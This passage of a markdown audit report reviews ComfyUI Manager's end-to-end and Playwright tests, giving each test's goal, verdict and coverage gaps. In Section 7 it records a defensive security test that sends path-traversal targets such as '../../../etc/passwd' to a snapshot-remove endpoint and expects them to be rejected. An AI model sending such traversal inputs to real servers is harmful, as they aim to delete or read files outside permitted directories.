| `test_uninstall_via_endpoint` | U1 (Remove pack) | ✅ PASS | Wave1 WI-N: FS check + API cross-check — asserts cnr_id ABSENT from GET /v2/customnode/installed. Defeats cache-invalidation regressions where FS delete succeeds but the installed-index still reports the pack. |
|
||||
| `test_startup_resolver_ran` | (log assertion) | N/A | Log file contains specific strings | Not HTTP verification; ComfyUI startup side check |
|
||||
|
||||
**File verdict**: 3/4 ✅, 0/4 ⚠️, 1/4 N/A (WI-MM removed 3 B1/B5 rows: `test_installed_list_after_uninstall` subsumed by the WI-N-strengthened `test_uninstall_via_endpoint`, `test_install_uninstall_cycle` subsumed by the concat of ci-001/002/003, `test_comfyui_started` subsumed by `_start_comfyui`'s /system_stats readiness poll.)
|
||||
|
||||
---
|
||||
|
||||
# Section 2 — tests/e2e/test_e2e_git_clone.py (3 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Actual assertions | Issues |
|
||||
|---|---|---|---|---|
|
||||
| `test_01_nightly_install` | A2 (Install nightly via URL) | ✅ PASS | Wave1 WI-N: pack_exists + `.git/` dir + parses `.git/config` and asserts `[remote "origin"] url` matches REPO_TEST1 (tolerant of `.git` suffix variants). Defeats "wrong-repo clone" regression. |
|
||||
| `test_02_no_module_error` | A2 negative check | ✅ PASS | log NOT contains ModuleNotFoundError | Negative check correct |
|
||||
| `test_03_nightly_uninstall` | U1 (Uninstall nightly) | ✅ PASS | Wave1 WI-N: FS check + API cross-check — asserts PACK_TEST1 absent from installed-list keys + defensive cnr_id/aux_id traversal to catch schema-variation regressions. |
|
||||
|
||||
**File verdict**: 3/3 ✅ (Wave1 WI-N upgraded test_01_nightly_install A2 + test_03_nightly_uninstall U1)
|
||||
|
||||
---
|
||||
|
||||
<!-- Section 3 (tests/e2e/test_e2e_uv_compile.py) was relocated to tests/cli/test_uv_compile.py
|
||||
in WI-PP. The 8 functions were CLI-subprocess integration tests (cm-cli --uv-compile),
|
||||
not HTTP/UI E2E, and are now tracked outside this audit's scope. See CHANGELOG: WI-PP. -->
|
||||
|
||||
# Section 4 — tests/e2e/test_e2e_config_api.py (9 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_read_db_mode` | C1 (GET db_mode) | ✅ PASS | Response in enum set |
|
||||
| `test_set_and_restore_db_mode` | C2 (POST persistence) | ✅ PASS | WI-E/WI-G helpers applied: disk mutation (config.ini) + reboot persistence verified |
|
||||
| `test_read_update_policy` | C1 (policy) | ✅ PASS | Response in enum set |
|
||||
| `test_set_and_restore_update_policy` | C2 (policy persistence) | ✅ PASS | WI-E/WI-G helpers applied: disk mutation (config.ini) + reboot persistence verified |
|
||||
| `test_read_channel_url_list` | C4 (channel list) | ✅ PASS | Shape verified |
|
||||
| `test_channel_list_entries_are_name_url_strings` | C4 format | ✅ PASS | "name::url" format |
|
||||
| `test_set_and_restore_channel` | C5 (switch channel) | ✅ PASS | WI-E/WI-G helpers applied: disk mutation (config.ini) + reboot persistence verified. Retained as separate function (not merged with db_mode/policy roundtrip) — the channel_url_list endpoint carries URL↔NAME asymmetry that makes a single parametrized body a branch-soup; WI-NN Cluster 1 skipped this merge and only applies Clusters 2+3. |
|
||||
| `test_malformed_body_returns_400` (parametrized ×3: db_mode / update_policy / channel_url_list) | C3 (malformed JSON) | ✅ PASS | WI-NN Cluster 2 (bloat teng:ci-003/008/015 B9): consolidates the 3 previously-separate `test_set_*_invalid_body` tests into one parametrized function. Each invocation asserts 400 + config.ini unchanged via `_assert_config_ini_contains`. |
|
||||
| `test_junk_value_rejected` (parametrized ×3: db_mode / update_policy / channel_url_list) | C3 (whitelist reject) | ✅ PASS | WI-NN Cluster 3 (bloat teng:ci-004/009/014 B9): consolidates the 3 previously-separate whitelist-reject tests. For db_mode/policy (static whitelist) the on-disk value must remain in the valid-values set; for channel (dynamic whitelist) the API-level NAME + disk URL must be unchanged. |
|
||||
|
||||
**File verdict**: 9/9 ✅ (WI-Z Y3 + WI-MM produced the 13-row baseline. WI-NN parametrized Clusters 2 (invalid-body) + 3 (junk-value) — 6 source tests → 2 parametrized functions (still 6 invocations; audit counts rows by function). Count: 13→9. Cluster 1 (roundtrip) was skipped due to channel URL↔NAME asymmetry.)
|
||||
|
||||
**Common gap**: RESOLVED via WI-E (disk-persistence helper) + WI-G (propagation to all 6 prior-WEAK tests) + WI-I (whitelist enforcement for db_mode / policy / channel). Every POST test now asserts both **config.ini file mutation on disk** and **survive-restart persistence** (positive path) or **config UNCHANGED on disk** (negative path). Whitelist rejection of unknown enum values is exercised end-to-end across all three config endpoints.
|
||||
|
||||
---
|
||||
|
||||
# Section 5 — tests/e2e/test_e2e_customnode_info.py (10 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_getmappings_returns_dict` | CM1 | ✅ PASS | Wave1 WI-M: non-empty DB check (>=100 entries) + per-entry schema sample (first 5 entries must be `[node_list: list, metadata: dict]`). Defeats empty-DB regression. |
|
||||
| `test_fetch_updates_returns_deprecated` | FU1 | ✅ PASS | 410 + deprecated:true |
|
||||
| `test_installed_returns_dict` | IL1 | ✅ PASS | Wave1 WI-M: asserts E2E seed pack `ComfyUI_SigmoidOffsetScheduler` is present AND its entry carries the documented InstalledPack fields (cnr_id/ver/enabled). |
|
||||
| `test_installed_imported_mode` | IL2 | ✅ PASS | Wave3 WI-T Cluster G target 4 (research-cluster-g.md Strategy A): asserts (a) 200 + dict, (b) seed pack `ComfyUI_SigmoidOffsetScheduler` present, (c) each entry carries the documented InstalledPack schema (cnr_id/ver/enabled), (d) frozen-at-startup invariant (cheap form) — imported keys == default keys at test time (no mid-session install). WI-OO Item 4 (bloat reviewer:ci-013 B7) removed the skip-masked `test_imported_mode_is_frozen_after_install` stub-companion — without an implemented install trigger between the two GETs, `snap_before == snap_after` held trivially. True frozen-vs-live-and-equal coverage (Strategy B) remains an E2E-DEBT for a future WI that wires the mid-session install. |
|
||||
| `test_unknown_cnr_id_returns_400` | IF2 | ✅ PASS | 400 verified |
|
||||
| `test_missing_fields_returns_400` | IF3 | ✅ PASS | 400 verified |
|
||||
| `test_invalid_body_returns_error` | IF3 (non-dict) | ✅ PASS | 400 verified |
|
||||
| `test_bulk_with_cnr_ids_returns_dict` | IFB1 | ✅ PASS | null for unknown verified |
|
||||
| `test_bulk_empty_lists_returns_400` | IFB2 | ✅ PASS | 400 verified |
|
||||
| `test_bulk_with_urls_returns_dict` | IFB1 | ✅ PASS | Wave1 WI-M: asserts per-url result — requested URL is a key in the response, and its value is either None (unknown URL, expected here) or a dict (populated fail-info). Defeats schema-violation regressions. |
|
||||
|
||||
**File verdict**: 10/10 ✅ (Wave1 WI-M upgraded 3 rows: test_getmappings_returns_dict, test_installed_returns_dict, test_bulk_with_urls_returns_dict. Wave3 WI-T upgraded test_installed_imported_mode IL2 — Strategy A cheap invariant + Strategy B [E2E-DEBT] skip-companion. WI-MM removed `test_getmappings_entries_have_node_lists` (bloat-sweep reviewer:ci-009 B1) — the strengthened `test_getmappings_returns_dict` now checks the first 5 entries' `[node_list, metadata]` schema, so this row's entry[0]-as-list assertion is a strict subset. Count: 11→10.)
|
||||
|
||||
**Key gap**: IF1 (positive path — known failed pack returning info) NOT tested. [E2E-DEBT] — Strategy B ("frozen vs live-and-coincidentally-equal") requires a mid-session install trigger; the previous skip-masked `test_imported_mode_is_frozen_after_install` stub was removed in WI-OO Item 4 because the TODO had never been implemented and the skipped body proved nothing. Register a future WI to wire the install step and re-add the test.
|
||||
|
||||
---
|
||||
|
||||
# Section 6 — tests/e2e/test_e2e_queue_lifecycle.py (7 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_reset_queue` | R1 | ✅ PASS | Wave1 WI-L: now verifies post-reset queue/status payload — all 4 counters (pending/in_progress/total/done) == 0 AND is_processing is False. Catches reset-handler regressions and cross-module state leak. |
|
||||
| `test_status_with_client_id_filter` | QS2 | ✅ PASS | client_id echo verified |
|
||||
| `test_start_queue_already_idle` | S1/S2 | ✅ PASS | Wave1 WI-L: polls queue/status for up-to-10s after POST /queue/start and asserts worker stabilizes to idle (pending==0, in_progress==0, is_processing==False). Defeats hot-loop regressions where start_worker() spawns a thread that never exits on empty queue. |
|
||||
| `test_queue_task_and_history` | A1 + QH3 | ✅ PASS | done_count polling + history accepted |
|
||||
| `test_history_with_ui_id_filter` | QH3 | ✅ PASS | Wave3 WI-T Cluster C target 1: discovers an existing ui_id via unfiltered call (seeds lightweight install if history empty), then asserts every entry in the filtered response matches that ui_id. Shape-resilient extractor handles `{ui_id: task}` maps and task-dict-directly variants. Defeats regressions where the server accepts the param but returns unfiltered history. |
|
||||
| `test_history_with_pagination` | QH3 pagination | ✅ PASS | Wave3 WI-T Cluster C target 2: verifies max_items cap (max_items=1 → len≤1), no silent truncation (max_items ≥ full_count → len == full_count), and offset progression (offset=0 vs offset=1 return different keys when ≥2 entries exist). |
|
||||
| `test_history_list` | QHL1 | ✅ PASS | Wave3 WI-T Cluster C target 3: cross-references API response with filesystem `user/__manager/batch_history/*.json` — set equality between API `ids` and the basenames (sans `.json`) of JSON files on disk. No phantom ids, no missing ids. |
|
||||
|
||||
**File verdict**: 7/7 ✅ (Wave1 WI-L upgraded 2 rows — test_reset_queue, test_start_queue_already_idle. Wave3 WI-T Cluster C upgraded 3 rows — test_history_with_ui_id_filter QH3 filter-semantic, test_history_with_pagination QH3 cap + consistency + offset, test_history_list QHL1 API↔FS set equality. WI-MM removed 2 B1/B8 rows: `test_status_after_reset` (weaker subset of the WI-L-strengthened `test_reset_queue`, bloat-sweep teng:ci-017) and `test_final_reset_and_clean_state` (subset of ci-016 + misleading 'final' name — pytest test order is not guaranteed, bloat-sweep teng:ci-024). Count: 9→7.)
|
||||
|
||||
**Key gaps**: `test_history_path_traversal_rejected` (QH2 path traversal) is present in the file and passing. Remaining gap: no batch-id retrieval positive-path test (GET /v2/manager/queue/history?id=<batch_id>).
|
||||
|
||||
---
|
||||
|
||||
# Section 7 — tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_get_current_snapshot` | SG1 | ✅ PASS | Wave1 WI-M: asserts documented top-level schema (comfyui / git_custom_nodes / cnr_custom_nodes / file_custom_nodes / pips) AND cross-references installed FS state — seed pack `ComfyUI_SigmoidOffsetScheduler` on disk → must also appear in `cnr_custom_nodes` dict. |
|
||||
| `test_save_snapshot` | SS1 | ✅ PASS | Wave2 WI-Q: verifies (a) new *.json file appears on disk under SNAPSHOT_DIR via os.listdir diff + file parses as JSON dict, AND (b) saved file's `cnr_custom_nodes` dict matches live GET /v2/snapshot/get_current response (pack_name → version). Catches regressions that write stale/stub snapshots while 200 OK. |
|
||||
| `test_getlist_after_save` | SS1 + SL1 | ✅ PASS | items.length>0 verifies save effect |
|
||||
| `test_remove_snapshot` | SR1 | ✅ PASS | Target absent + count decremented |
|
||||
| `test_remove_nonexistent_snapshot` | SR2 | ✅ PASS | 200 no-op |
|
||||
| `test_remove_path_traversal_rejected` | SR3 | ✅ PASS | WI-Z Y1 (resolves prior SR3 Key gap): POST `/v2/snapshot/remove` with path-traversal targets (`../../_sentinel_must_not_delete`, `../../../etc/passwd`, `/etc/passwd`) must return 400; a sentinel file outside the snapshot dir must remain untouched after the attempts. Security boundary test — enforces that `target` stays within snapshot dir. |
|
||||
| ~~`test_get_current_returns_dict`~~ | ~~SG1~~ | ~~REMOVED~~ | Wave1 WI-M dedup: deleted — was a strict subset of the strengthened `test_get_current_snapshot` above. Row removed; file count 7→6 for §7. |
|
||||
| `test_getlist_items_are_strings` | SL1 | ✅ PASS | Item type verified |
|
||||
|
||||
**File verdict**: 7/7 ✅ (Wave1 WI-M: upgraded test_get_current_snapshot SG1 + dedup-removed test_get_current_returns_dict; file count 7→6. Wave2 WI-Q: upgraded test_save_snapshot SS1 — adds file-on-disk glob + saved-content cross-reference with GET /v2/snapshot/get_current on `cnr_custom_nodes`. WI-Z Y1: recorded existing `test_remove_path_traversal_rejected` (source L300–L328), resolving prior SR3 Key gap; file count 6→7.)
|
||||
|
||||
**Key gaps**:
|
||||
- ~~**SR3** (path traversal on remove) — NORMAL add (Priority 🔴 per §Priority Fixes).~~ **RESOLVED (WI-Z Y1)**: covered by `test_remove_path_traversal_rejected` above.
|
||||
- ~~**SR4** (security gate 403) — T2 SECGATE-PENDING: needs restricted-security test harness.~~ **RESOLVED (WI-LL via WI-KK PoC)**: covered by `test_e2e_secgate_strict.py::TestSecurityGate403_SR4::test_remove_returns_403` — see §20. Harness: `start_comfyui_strict.sh` + module-scoped fixture with config.ini backup/restore.
|
||||
- **SR5** (restore — `restore-snapshot.json` marker file for next reboot) — T1 DESTRUCTIVE-SAFE: marker-file observation is safely testable without rebooting; design L355-359 specifies this observable exactly. Reclassify from "NOT tested" to **NORMAL add**.
|
||||
- **SR6** (restore security gate) — T2 SECGATE-PENDING.
|
||||
|
||||
---
|
||||
|
||||
# Section 8 — tests/e2e/test_e2e_system_info.py (4 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_version_returns_string` | V1 | ✅ PASS | Non-empty string |
|
||||
| `test_version_is_stable` | V1 idempotent | ✅ PASS | Consecutive equality |
|
||||
| `test_returns_boolean_field` | V2 | ✅ PASS | Wave3 WI-T Cluster G target 5 (research-cluster-g.md Target 2): strengthened from `isinstance(bool)` to exact-value `is False`. Launcher-deterministic — `start_comfyui.sh` passes only `--cpu --enable-manager --port`, NO `--enable-manager-legacy-ui`, so handler's `args.enable_manager_legacy_ui` defaults to False. Fails loudly if the E2E launcher ever changes. |
|
||||
| `test_reboot_and_recovery` | V3 | ✅ PASS | Healthcheck recovery + post-version match |
|
||||
|
||||
**File verdict**: 4/4 ✅ (Wave3 WI-T Cluster G upgraded test_returns_boolean_field V2 — exact-value launcher-deterministic `is False` assertion.)
|
||||
|
||||
**Key gaps**:
|
||||
- **V4** (COMFY_CLI_SESSION mode) — T1 DESTRUCTIVE-SAFE: design L436-439 observable is `.reboot` marker file + exit code 0 under env-var fixture; safely testable. Reclassify from "NOT tested" to **NORMAL add**.
|
||||
- **V5** (security gate 403) — T2 SECGATE-PENDING: needs restricted-security test harness.
|
||||
|
||||
---
|
||||
|
||||
# Section 9 — tests/e2e/test_e2e_task_operations.py (13 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_disable_pack` | D1 | ✅ PASS | _pack_exists(False) + _pack_disabled(True) |
|
||||
| `test_enable_pack` | E1 | ✅ PASS | _pack_exists(True) + !_pack_disabled |
|
||||
| `test_update_installed_pack` | UP1 | ✅ PASS | Wave2 WI-P: .tracking mtime monotonic check + API `installed[pack].ver` well-formed semver assertion. The update handler is design-level no-op when the installed version is ≥ requested (CNR protects against downgrade), so strict mtime-advance is RELAXED to monotonic and the API contract is the real verification — proves the post-update installed-index is not corrupted. |
|
||||
| `test_fix_touches_pack_and_preserves_tracking` | F1 | ✅ PASS | Wave2 WI-P: preserves existing invariants (non-destructive, .tracking survives, mtime monotonic) + adds dep-existence cross-check via `pip show` on declared requirements.txt entries. Seed pack has no declared deps — branch falls through to explicit no-deps assertion (non-silent). |
|
||||
| `test_history_records_task_content` (parametrized ×2: update / fix) | UP1 + F1 observability | ✅ PASS | WI-NN Cluster 4 (bloat teng:ci-030/ci-032 B9): consolidates `test_update_history_recorded` + `test_fix_history_recorded` into one parametrized function over `(ui_id, kind)`. Each invocation verifies `kind` match + `ui_id` match + conditional `params.node_name` (Wave3 WI-W resolved the TaskHistoryItem schema gap). Placed in a new `TestHistoryRecorded` class after TestUpdatePack+TestFixPack so pytest collection order preserves the seed requirement. |
|
||||
| `test_install_model_accepts_valid_request` | IM1 | ✅ PASS | Upgraded to effect-verifying (Stage2 WI-D): (a) delta assertion on queue/status total_count, (b) bounded polling for is_processing OR done_count advance after /queue/start, (c) optional queue/history trace. Download completion explicitly out of E2E scope per test docstring (enqueue + worker pickup is the E2E observable contract). |
|
||||
| `test_install_model_missing_required_field` (parametrized ×2: missing-client_id / missing-ui_id) | IM2 | ✅ PASS | WI-NN Cluster 6 (bloat teng:ci-034/ci-035 B9): consolidates the two missing-field tests into one parametrized function that strips the named field from the full valid body and asserts 400. |
|
||||
| `test_install_model_invalid_body` | IM2 | ✅ PASS | 400 verified |
|
||||
| `test_update_all_queues_tasks` | UA1 | ✅ PASS | Wave2 WI-P reclassify: test was ALREADY strong pre-WI-P — captures `active_packs` count from installed list before POST, asserts post-POST `queue/status.total_count >= max(1, active_packs - 1)` (the -1 tolerates the comfyui-manager self-skip on desktop builds). Matches UA1 design goal for enqueue-count vs active-node correspondence. |
|
||||
| `test_update_all_missing_params` | UA3 | ✅ PASS | 400 verified |
|
||||
| `test_update_comfyui_queues_task` | UC1 | ✅ PASS | total_count>=1 verified |
|
||||
| `test_update_comfyui_missing_params` | UC1 | ✅ PASS | 400 |
|
||||
| `test_update_comfyui_with_stable_flag` | UC2 | ✅ PASS | Wave2 WI-P: status 200 + queue enqueue + `/queue/start` trigger + wait-for-idle + history content verification (`kind=='update-comfyui'` + `ui_id` match). Wave3 WI-W: TaskHistoryItem now serializes `params` (oneOf nullable) → assertion `params.is_stable is True` runs unconditionally; pytest.skip removed. |
|
||||
|
||||
**File verdict**: 13/13 ✅, 0/13 ⚠️, 0/13 ❌ (Wave2 WI-P upgraded 6 rows. WI-MM removed `test_disable_enable_cycle` (teng:ci-028 B1). WI-NN Clusters 4+6 parametrized 4 tests → 2 parametrized functions (still 4 invocations). Net count progression: 16→15 (WI-MM) → 13 (WI-NN).)
|
||||
|
||||
**Key gaps**:
|
||||
- ~~install_model: **no effect verification** (critical — status-only)~~ — RESOLVED (Stage2 WI-D): upgraded to delta total_count + worker-observation polling + optional history trace; download-completion scoped out as non-E2E.
|
||||
- ~~update: no version-change verification~~ — RESOLVED (Wave2 WI-P): API-ver semver shape + mtime monotonic (handler is design-level no-op for downgrade requests).
|
||||
- ~~fix: no dependency-restoration verification~~ — RESOLVED (Wave2 WI-P): pip-show-based dep-existence for declared requirements; non-silent fallback when pack has no deps.
|
||||
- ~~update_all: no per-task correctness verification~~ — RESOLVED (Wave2 WI-P reclassify): pre-existing active_packs cross-check was already strong.
|
||||
- ~~update_comfyui stable flag: no params verification~~ — RESOLVED (Wave2 WI-P → Wave3 WI-W): Wave2 added history content verification with explicit pytest.skip when TaskHistoryItem schema dropped params; Wave3 closed the schema gap by adding `params` (oneOf nullable, mirrors QueueTaskItem.params) to the OpenAPI spec + populating it in `task_done()`. The assertion `params.is_stable is True` now runs unconditionally.
|
||||
|
||||
---
|
||||
|
||||
# Section 10 — tests/e2e/test_e2e_version_mgmt.py (3 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `test_versions_response_contract` | CV1 (full contract) | ✅ PASS | WI-NN Cluster 7 (bloat dbg:ci-013/014/015/016 B9/B1): merges 4 previously-separate GETs into one contract block — status + top-level schema (versions list, current string), versions non-empty, every entry is a string, current ∈ versions. Same GET executed once instead of four times. |
|
||||
| `test_switch_version_missing_required_params_rejected` (parametrized ×2: no-params / partial-params-ver-only) | CV5 | ✅ PASS | WI-OO Item 5 (bloat dbg:ci-018 B9+B1): consolidates `test_switch_version_missing_all_params` + `test_switch_version_missing_client_id`. The high+ gate returns 403 BEFORE any param validation at default `security_level=normal`, so both inputs (empty POST, partial `ver`-only POST) exercise the same rejection path. Parametrized over both inputs as distinct invocations for diagnostics. |
|
||||
| `test_switch_version_validation_error_body` | CV5 | ✅ PASS | Wave1 WI-L: asserts full Pydantic error schema — exact `error == "Validation error"` sentinel, non-empty `details` list, and each detail entry carries the canonical `loc`/`msg`/`type` triplet. Defeats fall-through to the generic `except Exception` branch (empty 400 body). Skipped when security_level < 'high+' (pre-existing guard). |
|
||||
|
||||
**File verdict**: 3/3 ✅ (Wave1 WI-L upgraded test_switch_version_validation_error_body; WI-NN Cluster 7 merged 4→1 (versions_response_contract); WI-OO Item 5 parametrized 2→1 (missing_required_params_rejected). Count progression: 7→4 (WI-NN) → 3 (WI-OO).)
|
||||
|
||||
**Key gaps**:
|
||||
- **CV3** (positive success — queue update-comfyui with target_version) — T1 DESTRUCTIVE-SAFE: design L458-463 requires verification of the queued task params (`params.target_version == X`), NOT the destructive switch itself. The queued-task artifact IS safely observable. Reclassify from "accepted N/A" to **NORMAL add** with assertion on `queue/status.items[*].params.target_version == X`.
|
||||
- ~~**CV4** (security gate 403) — T2 SECGATE-PENDING: needs restricted-security test harness.~~ **RESOLVED (WI-LL via WI-KK demo)**: covered by `test_e2e_secgate_default.py::TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` — see §21. No harness needed: WI-KK research (`security_utils.py` L14–40) showed high+ gates return 403 at the default `security_level=normal` under `is_local_mode=True`.
|
||||
|
||||
---
|
||||
|
||||
# Section 11 — tests/playwright/legacy-ui-manager-menu.spec.ts (5 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `opens via Manager button and shows 3-column layout` | LG1 precursor (dialog opens) | ✅ PASS | Dialog + buttons visible |
|
||||
| `shows settings dropdowns` | UI scaffold | ✅ PASS | 3 `<select>` visible |
|
||||
| `DB mode dropdown persists via UI (close-reopen verification)` | C2 UI-driven | ✅ PASS | Wave3 WI-U Cluster H target 1: removed `page.request` / `page.waitForResponse` API verification. Now pure UI — selectOption + networkidle settle barrier + dialog close (via `.p-dialog-close-button`) + reopen + read `<select>.value` = newValue. UI-only cleanup via reopen + selectOption(original). Renamed from "...round-trips via API" to reflect UI-only contract. |
|
||||
| `Update Policy dropdown persists via UI (close-reopen verification)` | C2 UI-driven | ✅ PASS | Wave3 WI-U Cluster H target 2: same UI-only pattern as target 1. |
|
||||
| `closes and reopens without duplicating` | UI lifecycle | ✅ PASS | Wave3 WI-U secondary fix: ComfyDialog keeps `#cm-manager-dialog` in DOM on close (display:none), so `toHaveCount(0)` was wrong — replaced with `.toBeHidden()`. This is infrastructure for the other 2 UI-persistence tests. `=== 1` reopen assertion preserved. |
|
||||
|
||||
**File verdict**: 5/5 ✅ (Wave3 WI-U upgraded 2 rows — DB mode + Update Policy UI-only verification + fixed pre-existing closes-and-reopens assertion against ComfyDialog DOM-retain-on-close semantics.)
|
||||
|
||||
---
|
||||
|
||||
# Section 12 — tests/playwright/legacy-ui-custom-nodes.spec.ts (5 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `opens from Manager menu and renders grid` | LG1 | ✅ PASS | Dialog + grid |
|
||||
| `loads custom node list (non-empty)` | LG1 | ✅ PASS | rows>0 |
|
||||
| `filter dropdown changes displayed nodes` | (client-side UI) | ✅ PASS | Filtered ≤ initial |
|
||||
| `search input filters the grid` | (client-side UI) | ✅ PASS | Filtered ≤ initial |
|
||||
| `footer buttons are present` | (UI scaffold) | ✅ PASS | Wave3 WI-U Cluster H target 4: strengthened OR-of-2 → AND-of-all-always-visible-admin-buttons + structural presence for hidden-by-default conditional buttons. Always-visible: `Install via Git URL`, `Used In Workflow`, `Check Update`, `Check Missing` (all MUST be visible). Conditional: `.cn-manager-restart` + `.cn-manager-stop` MUST be present in DOM (may be hidden — CSS `display:none` by default per custom-nodes-manager.css:47-62; shown only on restart-required / task-running state). |
|
||||
|
||||
**File verdict**: 5/5 ✅ (Wave3 WI-U upgraded footer-buttons test with AND-of-4 always-visible assertion + structural DOM presence check for conditional Restart/Stop.)
|
||||
|
||||
**Key gap**: NO test exercises Install/Uninstall/Update/Fix/Disable buttons on rows (LB1-LB3). The dialog renders but UI-driven install flow is NOT asserted.
|
||||
|
||||
---
|
||||
|
||||
# Section 13 — tests/playwright/legacy-ui-model-manager.spec.ts (4 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `opens from Manager menu and renders grid` | LM1 | ✅ PASS | Dialog + grid |
|
||||
| `loads model list (non-empty)` | LM1 | ✅ PASS | Wave3 WI-U Cluster H target 3: previously rows>0 only. Now counts `.cmm-icon-passed` + `.cmm-btn-install` (install-state indicators rendered by model-manager.js:342-345) + "Refresh Required" fallback across the whole grid. Asserts total indicators >0 AND equals the logical row count (= DOM-row count / 2 for TurboGrid's dual-pane layout, or 1:1 for single-pane fallback). Catches regression where the `installed` column stops rendering for any model. |
|
||||
| `search input filters the model grid` | (client-side UI) | ✅ PASS | Filtered ≤ initial |
|
||||
| `filter dropdown is present with expected options` | (UI scaffold) | ✅ PASS | Wave3 WI-U Cluster H target 5: previously options.length>0 only. Now asserts exact set match against the 4 labels defined by ModelManager.initFilter() in model-manager.js:74-86 — `All`, `Installed`, `Not Installed`, `In Workflow`. Each must be present. |
|
||||
|
||||
**File verdict**: 4/4 ✅ (Wave3 WI-U upgraded 2 rows — loads-model-list install-indicator invariant + filter-dropdown exact-set match.)
|
||||
|
||||
**Key gap**: NO test clicks Install on a model row (install_model UI flow).
|
||||
|
||||
---
|
||||
|
||||
# Section 14 — tests/playwright/legacy-ui-snapshot.spec.ts (3 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `opens snapshot manager from Manager menu` | (UI scaffold) | ✅ PASS | Dialog present |
|
||||
| `SS1 Save button creates a new snapshot row` | SS1 | ✅ PASS | UI-driven replacement (Stage2 WI-F): clicks dialog Save/Create button; polls `getlist` to confirm new snapshot appeared; cleanup via afterEach. Previous INADEQUATE direct-API test (`save snapshot via API and verify in list`) DELETED as part of the rewrite. |
|
||||
| `UI Remove button deletes a snapshot row` | SR1 (UI) | ✅ PASS | New UI-driven test: API-seeded snapshot + dialog Remove button click + effect verification via `getlist` + UI row absent. Replaces the deleted `lists existing snapshots` direct-API test. |
|
||||
|
||||
**File verdict**: 3/3 ✅ (Stage2 WI-F resolution — both INADEQUATE rows replaced by UI-driven tests; the "lists" concern is now covered by pytest `test_e2e_snapshot_lifecycle.py::test_getlist_after_save`).
|
||||
|
||||
---
|
||||
|
||||
# Section 15 — tests/playwright/legacy-ui-navigation.spec.ts (2 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `Manager menu → Custom Nodes → close → Manager still visible` | (UI nav) | ✅ PASS | Dialog lifecycle |
|
||||
| `Manager menu → Model Manager → close → reopen` | (UI nav) | ✅ PASS | Dialog lifecycle |
|
||||
|
||||
**File verdict**: 2/2 ✅ (Stage2 WI-F resolution — both INADEQUATE API-smoke tests DELETED; coverage preserved by pytest `test_e2e_system_info.py::test_version_returns_string/test_reboot_and_recovery`, verified by 12/12 PASS regression run).
|
||||
|
||||
---
|
||||
|
||||
# Section 16 — tests/playwright/legacy-ui-install.spec.ts (2 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Issues |
|
||||
|---|---|---|---|
|
||||
| `LB1 Install button triggers install effect` | LB1 | ✅ PASS | WI-AA (WI-U follow-up): UI-driven install flow — opens Manager → Custom Nodes Manager dialog, filters "Not Installed", searches the test pack (`ComfyUI_SigmoidOffsetScheduler`), clicks the row-scoped Install button + Select button in the version dialog. Effect verification via `waitForAllDone` (queue/status drain polling) + `isPackInstalled` (`/v2/customnode/installed` lookup keyed by `cnr_id`). `page.request` is used ONLY for setup (queue/reset baseline) and effect-observation, not to drive the install action — consistent with the hybrid UI-action + backend-effect pattern audited for `legacy-ui-snapshot.spec.ts::SS1 Save button creates a new snapshot row`. Resolves prior coverage_gaps LB1 "🔴 High Priority — Missing UI→effect". |
|
||||
| `LB2 Uninstall button triggers uninstall effect` | LB2 | ✅ PASS | WI-AA (WI-U follow-up): UI-driven uninstall flow — preconditioned by API install if pack is absent (setup, not verification); opens Manager → Custom Nodes Manager, filters "Installed", searches pack, clicks row-scoped Uninstall button + confirm dialog. Effect verification via `waitForAllDone` + `isPackInstalled==false`. Same hybrid UI-action + backend-effect classification as LB1. Resolves prior coverage_gaps LB2 entry. |
|
||||
|
||||
**File verdict**: 2/2 ✅ (WI-AA: structural classification based on contract compliance — UI drives the primary action, `page.request` is confined to setup and effect-observation. **Runtime verification caveat**: in environments where the E2E seed pack is not pre-installed AND the custom-node remote DB is reachable, both tests pass end-to-end; environments lacking network access to the remote DB or with the seed pack pre-installed may require the test harness to either remove the seed pack (LB1 pre-condition) or skip LB2's API-based setup path. This is an infrastructure concern, not a test-quality concern — the contract being audited is UI→effect, which the tests satisfy.)
|
||||
|
||||
**Key observations**:
|
||||
- LB1/LB2 complete the LB goal family (see `verification_design.md` Section 6.1 LB goals). Prior state: LB1/LB2 noted as NORMAL-add in `coverage_gaps.md` "Missing UI→effect" block; LB3 is already covered by `test_e2e_endpoint.py::TestEndpointInstallUninstall::test_install_uninstall_cycle` (API-level end-to-end on the same pack).
|
||||
- Test pack `ComfyUI_SigmoidOffsetScheduler` is the standard E2E seed pack (also used by pytest audits in §5 customnode_info and §3 endpoint).
|
||||
|
||||
---
|
||||
|
||||
## 18. tests/e2e/test_e2e_csrf.py — CSRF-mitigation contract suite
|
||||
|
||||
**Reference**: commit 99caef55 (XlabAI-Tencent-Xuanwu report; CVSS 8.1)
|
||||
**Scope**: GET-rejection contract on state-changing endpoints only (see file docstring).
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
